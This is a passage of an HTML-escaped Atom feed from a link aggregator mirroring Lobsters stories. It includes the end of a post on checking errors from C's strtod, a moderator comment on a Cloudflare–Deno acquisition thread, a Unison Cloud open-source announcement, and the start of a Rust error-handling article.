&lt;p&gt;on glibc, this prints 0, because glibc&#39;s &lt;code&gt;strtod&lt;/code&gt; never sets &lt;code&gt;errno&lt;/code&gt; to &lt;code&gt;EINVAL&lt;/code&gt;. musl, on the other hand, &lt;em&gt;does&lt;/em&gt; set &lt;code&gt;errno&lt;/code&gt; to &lt;code&gt;EINVAL&lt;/code&gt;, so this prints &amp;quot;22&amp;quot;. &lt;strong&gt;this is completely undocumented on the linux man page&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;it&#39;s also, from my reading of the standard, not conformant to standard c, because it&#39;s setting &lt;code&gt;errno&lt;/code&gt; to a nonzero value in a function with other documented error conditions (and as far as standard c is concerned, invalid input isn&#39;t an error condition). musl &lt;em&gt;could&lt;/em&gt; defend itself by saying that, because it doesn&#39;t set &lt;code&gt;errno&lt;/code&gt; in its &lt;code&gt;math.h&lt;/code&gt; functions, the &lt;code&gt;errno&lt;/code&gt; condition in &lt;code&gt;strtod&lt;/code&gt;&#39;s description no longer applies, therefore there&#39;s no documented use for &lt;code&gt;errno&lt;/code&gt; (since the use of &lt;code&gt;errno&lt;/code&gt; is dependent on the value of &lt;code&gt;math_errhandling&lt;/code&gt;). but that&#39;s clearly a stretch.&lt;/p&gt;
&lt;p&gt;either way, it&#39;s clear to me that the standard needs clearer wording here.&lt;/p&gt;
&lt;h2&gt;conclusion&lt;/h2&gt;
&lt;p&gt;just for fun, i figured i&#39;d conclude with a list of all the &amp;quot;correct&amp;quot; ways to check for errors in the string to float conversion functions, just to hammer the point home:&lt;/p&gt;
&lt;h3&gt;overflow&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;if you&#39;re targeting posix, set &lt;code&gt;errno&lt;/code&gt; to 0 before the call, and afterward check &lt;code&gt;copysign(result, 1.0) == HUGE_VAL &amp;amp;&amp;amp; errno == ERANGE&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;otherwise, set &lt;code&gt;errno&lt;/code&gt; to 0 &lt;em&gt;and&lt;/em&gt; call &lt;code&gt;feclearexcept(FE_OVERFLOW)&lt;/code&gt; before the call, and, if &lt;code&gt;copysign(result, 1.0) == HUGE_VAL&lt;/code&gt;, either check &lt;code&gt;errno == ERANGE&lt;/code&gt; or &lt;code&gt;fetestexcept(FE_OVERFLOW)&lt;/code&gt; after the call, depending on the value of &lt;code&gt;math_errhandling&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;if you&#39;re targeting just one implementation, and you know which error-reporting methods it supports beforehand, you can skip the &lt;code&gt;math_errhandling&lt;/code&gt; check and only support one of the two methods.&lt;/p&gt;
&lt;p&gt;if you&#39;re using &lt;code&gt;feclearexcept&lt;/code&gt;/&lt;code&gt;fetestexcept&lt;/code&gt;, make sure that the compiler knows you may be accessing the floating point environment: on gcc the relevant flag is &lt;code&gt;-ftrapping-math&lt;/code&gt;, which is the default (unless you&#39;re using &lt;code&gt;-ffast-math&lt;/code&gt;). there&#39;s also a standard pragma for this purpose: &lt;code&gt;#pragma STDC FENV_ACCESS ON&lt;/code&gt;. this pragma isn&#39;t supported by gcc though.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;underflow&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;if you&#39;re targeting posix, set &lt;code&gt;errno&lt;/code&gt; to 0 before the call, and afterward check &lt;code&gt;result == 0.0 &amp;amp;&amp;amp; errno == ERANGE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;be sure to check specifically that &lt;code&gt;errno&lt;/code&gt; is &lt;code&gt;ERANGE&lt;/code&gt;, not just that it&#39;s nonzero. otherwise you&#39;ll end up with nonportable behavior.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;otherwise, if you&#39;re just targeting one implementation, check if it documents its behavior on underflow in &lt;code&gt;math.h&lt;/code&gt; functions. the behavior is implementation-defined, so technically it&#39;s required to document it. but in practice, even clang doesn&#39;t bother documenting its implementation-defined shit, so don&#39;t hold your breath.&lt;/p&gt;
&lt;p&gt;but if it is documented, and it reports underflow errors, then, depending on the implementation&#39;s value of &lt;code&gt;math_errhandling&lt;/code&gt;, either set &lt;code&gt;errno&lt;/code&gt; to 0 before the call and check &lt;code&gt;result == 0.0 &amp;amp;&amp;amp; errno == ERANGE&lt;/code&gt; after the call, or call &lt;code&gt;feclearexcept(FE_UNDERFLOW)&lt;/code&gt; before the call and check &lt;code&gt;fetestexcept(FE_UNDERFLOW)&lt;/code&gt; after the call.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;otherwise you&#39;re SOL.&lt;/p&gt;
&lt;p&gt;if you &lt;em&gt;reeally&lt;/em&gt; need to check for underflow, and you &lt;em&gt;need&lt;/em&gt; to use the libc function for some reason, here&#39;s the only option i can think of: check if &lt;code&gt;result == 0.0&lt;/code&gt;, and if so, check yourself if the input string contains any nonzero digits before the exponent. if so, underflow occurred. this is difficult to get right though; read the description of &lt;code&gt;strtod&lt;/code&gt; et al from the standard and make sure you cover all edge-cases.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;invalid input (no conversion)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;pass in &lt;code&gt;&amp;amp;endptr&lt;/code&gt; as a second argument to the function, and then check if &lt;code&gt;endptr == nptr&lt;/code&gt;. &lt;code&gt;errno&lt;/code&gt; can&#39;t be relied on.&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:515b4f08e274efbad67a3952dfd355e22862414e</id>
    <title type="text">Cloudflare shutting down Deno is news, not just PR</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-09-cloudflare-shutting-down-deno-is-news-not-just-pr/"/>
    <link rel="via" type="text/html" href="https://lobste.rs/s/8rrtma/cloudflare_shutting_down_deno_is_news_not"/>
    <published>2026-10-09T21:20:03+00:00</published>
    <updated>2026-10-09T21:20:03+00:00</updated>
    <author>
      <name>by conartist6</name>
    </author>
    <category term="news"/>
    <category term="meta"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Requesting the currently-removed post for https://deno.com/blog/cloudflare be restored. Thread: https://lobste.rs/s/8hauxs/deno_is_joining_cloudflare My reasoning: It isn&#39;t just PR, but significant tech news that Cloudflare is buying up…</summary>
    <content type="html">&lt;p&gt;I would like to try to clarify my moderation stance around:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Is this not the best place to discuss the ramifications of companies acting in this manner?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The post, as submitted, reads like a &amp;quot;report to market&amp;quot; similar to the one that Armon made when &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/s/tbuvzp/hashicorp_joins_ibm_accelerate_multi&quot;&gt;Hashicorp was aquired by IBM&lt;/a&gt;. While both companies clearly went their respective &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gyford.com/phil/writing/2013/02/27/our-incredible-journey/&quot;&gt;incredible journies&lt;/a&gt;, having discussions about the ramification and impact of this action on a submission which is &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/about#guidelines%C2%B7:~:text=news%20about%20companies%20that%20employ%20a%20lot%20of%20programmers&quot;&gt;explicitly called out as being off topic&lt;/a&gt; is off topic.&lt;/p&gt;
&lt;p&gt;In Hashicorp&#39;s case, the discussion around the ramifications of the aquisition occured via the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/search?q=title%3A%22OpenTofu%22&amp;amp;what=stories&amp;amp;order=newest&quot;&gt;OpenTofu&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/search?q=title%3A%22OpenBao%22&amp;amp;what=stories&amp;amp;order=newest&quot;&gt;OpenBao&lt;/a&gt; forks being discussed on the site in a much more &amp;quot;topical&amp;quot; fashion. My expectation that given the news is less than a day old (at the time of writing), we will see submissions which are more in line with the discussions that were had around OpenTofu and OpenBao for Deno&#39;s projects once the community has had a chance to process the news and coordinate on responses.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:ab20f83d74675bc903c86d30e691f00452d04d0b</id>
    <title type="text">Unison Cloud is now open source</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-09-unison-cloud-is-now-open-source/"/>
    <link rel="via" type="text/html" href="https://www.unison-lang.org/blog/unison-cloud-open-source/"/>
    <published>2026-10-09T15:32:51+00:00</published>
    <updated>2026-10-09T15:32:51+00:00</updated>
    <author>
      <name>unison-lang.org via bontaq</name>
    </author>
    <category term="news"/>
    <category term="release"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://unison.cloud&quot;&gt;Unison Cloud&lt;/a&gt; is now open source, MIT licensed. There are four projects:&lt;/p&gt;
&lt;p&gt;What is Unison Cloud?&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://unison.cloud&quot;&gt;Unison Cloud&lt;/a&gt; turns any pool of nodes into a distributed computer, programmable with the Unison language. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=0q6jY58xsKA&quot;&gt;See a series of demos&lt;/a&gt;. Some features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Service deploys in seconds. Services are lightweight, &amp;lt; 200kb. No more building and shipping around multi-GB containers.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fast, typed, inter-service communication using &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=347IbLJ6cfM&quot;&gt;adaptive service graph compression&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Distributed batch jobs, using a high-level fork/join style distributed computing model.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Transactional storage (backed by DynamoDB) and object storage (backed by S3).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Secrets management, long-running background jobs, and more.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://share.unison-lang.org/@unison/cloud&quot;&gt;Unison Cloud client&lt;/a&gt; defines the programming model for a Unison Cloud cluster. It includes both a local interpreter (for testing and local development) and the real interpeter that talks to a distributed Unison cluster. This has been open source for a long time.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://share.unison-lang.org/@unison/nimbus&quot;&gt;Nimbus&lt;/a&gt; is the worker node for a Unison Cloud cluster. It is written in Unison. The system supports any number of workers, and can be scaled dynamically up or down. This is newly open sourced.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/unisonweb/cloud-api&quot;&gt;Unison Cloud API Server&lt;/a&gt; is a Haskell service that the Unison Cloud client talks to when interacting with a remote Unison Cloud cluster. It also acts as a control plane for tracking cluster membership, handling authentication, and so on. This is newly open sourced.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/unisonweb/unison-cloud-ui&quot;&gt;Unison Cloud UI&lt;/a&gt; is the code behind &lt;code&gt;app.unison.cloud&lt;/code&gt; (for viewing deployed services, logs, and so on). This is newly open sourced.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We think this tech will be more useful to the world as an open source technology and hope that people build great things with it.&lt;/p&gt;
&lt;p&gt;If you&#39;re interested in professional support for a Unison Cloud cluster, get in touch at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;mailto:hello@unison.cloud&quot;&gt;hello@unison.cloud&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:01b23b16251e089b6c11d322a61c433856029101</id>
    <title type="text">The Missing Piece in Rust Error Handling</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-08-the-missing-piece-in-rust-error-handling/"/>
    <link rel="via" type="text/html" href="https://mcmah309.github.io/posts/the-missing-piece-in-rust-error-handling/"/>
    <published>2026-10-08T14:43:19+00:00</published>
    <updated>2026-10-08T14:43:19+00:00</updated>
    <author>
      <name>mcmah309.github.io via snej</name>
    </author>
    <category term="news"/>
    <category term="rust"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Rust already has most of what I want from error handling: explicit control flow, errors as values, and concise propagation with &lt;code&gt;?&lt;/code&gt;. The friction comes when deciding what to put in the error half of &lt;code&gt;Result&lt;/code&gt;. We often end up choosing between precise types that require boilerplate and convenient types that hide which errors can occur. But precision and convenience do not have to be competing goals. Error types should compose as easily as the functions that return them.&lt;/p&gt;
&lt;h2&gt;The Problem With Rust Error Handling&lt;/h2&gt;
&lt;p&gt;Consider reading a server port from a file. Reading can fail with an &lt;code&gt;io::Error&lt;/code&gt;, and parsing can fail with a &lt;code&gt;ParseIntError&lt;/code&gt;. A conventional implementation might look like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-other syntax-rust&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;io&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;num&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;ParseIntError&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-annotation syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-annotation syntax-rust&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-annotation syntax-rust&quot;&gt;derive&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;Debug&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; thiserror::Error&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-enum syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-modifier syntax-rust&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-enum syntax-rust&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-enum syntax-rust&quot;&gt;PortError&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-annotation syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-annotation syntax-rust&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-annotation syntax-rust&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;transparent&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
    Io&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-annotation syntax-rust&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-annotation syntax-rust&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;io&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;Error&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-annotation syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-annotation syntax-rust&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-annotation syntax-rust&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;transparent&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
    Parse&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-annotation syntax-rust&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-annotation syntax-rust&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt; ParseIntError&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;load_port&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-rust&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;str&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;Result&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u16&lt;/span&gt;, PortError&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;let&lt;/span&gt; contents &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;fs&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;read_to_string&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-support syntax-type syntax-rust&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;contents.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/dtolnay/thiserror&quot;&gt;thiserror&lt;/a&gt; removes the manual &lt;code&gt;Display&lt;/code&gt;, &lt;code&gt;Error&lt;/code&gt;, and &lt;code&gt;From&lt;/code&gt; implementations. But we still have to decide how this enum relates to every other error enum in our program.&lt;/p&gt;
&lt;p&gt;Now load a host address, bind a socket, and initialize a database. Each operation has its own errors. We can wrap those enums in another enum, flatten their variants into a new enum, or give everything one large crate-wide error type. The first approach creates nesting, the second creates conversions, and the third means functions advertise errors they cannot actually return. An I/O error may also end up in several different nested variants, making handling it at a higher level unnecessarily awkward.&lt;/p&gt;
&lt;p&gt;Alternatively, an &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/dtolnay/anyhow&quot;&gt;anyhow&lt;/a&gt; like approach makes propagation and attaching context straightforward. We can downcast when we need to inspect a concrete error. However, the function signature no longer tells us which error types are possible, and the compiler cannot track whether we have handled all of them.&lt;/p&gt;
